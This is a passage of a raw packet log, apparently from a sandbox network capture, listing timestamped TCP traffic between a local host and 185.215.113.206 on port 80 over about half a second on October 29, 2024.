Oct 29, 2024 04:52:10.642201900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.642230034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.642235041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.642271042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.642281055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643102884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.643136024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.643157959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643168926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.643174887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643203020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.643215895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643235922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.643249989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643279076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.643980026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.644013882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.644043922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.644047022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.644053936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.644088984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.681844950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.681916952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.681986094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682018995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682044983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.682073116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.682372093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682426929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.682663918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682696104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682717085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.682730913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.682740927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.682771921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.683569908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.683604956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.683628082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.683646917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.684047937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.684081078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.684101105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.684123039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.684580088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.684612036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.684643984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.684647083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.684653997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.684696913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.685528040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.685563087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.685586929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.685595989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.685609102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.685631990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.685642958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.685684919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.686228037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.686259985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.686285019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.686294079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.686307907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.686336994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.687102079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.687135935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.687160969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.688009977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.757879019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.757977962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.758105993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.758138895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.758162022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.758184910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.758402109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.758436918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.758457899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.758481979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.759000063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.759033918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.759062052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.759090900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.759391069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.759443998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.759967089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760000944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760014057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.760049105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.760138035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760170937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760190964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.760205030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760231972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.760232925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.760258913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.760288000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.761090994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.761123896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.761145115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.761157990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.761167049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.761203051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.761954069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.761987925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.762001991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.762022018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.800725937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.800796032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.800813913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.800837040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.800847054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.800874949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.800884962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.800919056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.801321030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.801354885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.801403999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.801436901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.801879883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.801913977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.801938057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.801947117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.801959991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.801992893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.802766085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.802800894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.802833080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.802836895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.802849054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.802875042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.803503036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.803535938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.803560019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.803570032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.803581953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.803611040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.804406881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.804441929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.804461956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.804475069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.804486990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.804517984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.805295944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.805330992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.805356026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.805363894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.805375099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.805398941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.805414915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.805449009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.806112051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.806157112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.875690937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.875785112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.875792980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.875830889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.875858068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.875874996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.876291037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.876348019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.876431942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.876486063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.876756907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.876792908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.876813889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.876827955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.876837015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.876871109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.877571106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.877604961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.877620935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.877655983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.878148079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.878182888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.878204107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.878217936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.878231049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.878273964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879007101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879041910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879062891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879074097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879085064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879110098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879113913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879157066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879906893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879942894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.879968882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.879991055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.917319059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.917365074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.917448044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.917481899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.917506933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.917530060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.917948961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918004990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.918127060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918159962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918180943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.918206930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.918715000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918747902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918768883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.918782949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.918792963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.918828011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.919584036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.919620037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.919632912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.919653893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.919665098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.919697046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.920495987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.920531034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.920552015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.920566082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.920574903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.920602083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.920614004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.920646906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.921312094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.921345949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.921365023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.921380997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.921390057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.921428919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.922221899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.922255039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.922271967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.922290087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.922305107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.922336102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.923095942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.923130035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.923151016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.923163891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.923171997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.923206091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.995193958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.995233059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.995268106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.995269060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.995296001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.995326042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.995625019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.995660067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.995683908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.995704889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996159077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996242046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996267080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996300936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996329069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996334076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996341944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996368885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996381044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996402979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996437073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996464014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996471882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996490955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996490955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996505976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996525049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996553898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996591091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996623993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996639013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996660948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.996675014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.996717930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.997296095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.997328997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.997351885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.997361898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.997385979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.997402906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.035233021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.035351038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.035628080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.035662889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.035691023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.035710096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.035932064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.035965919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.035990953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.036000967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.036015034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.036046028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.036680937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.036715031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.036735058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.036748886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.036760092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.036793947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.037548065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.037600040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.037602901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.037648916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.038018942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.038052082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.038073063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.038086891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.038095951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.038130999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.038988113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.039024115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.039048910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.039057016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.039061069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.039092064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.039097071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.039129972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040191889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040226936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040250063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040261030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040271044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040302992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040740967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040776014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040788889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040808916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040819883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040844917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.040852070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.040884018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.041651964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.041687965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.041703939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.041718006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.041731119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.041759968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111032963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.111138105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.111166954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111191988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.111196041 CET	80	49730	185.215.113.206	192.168.2.4
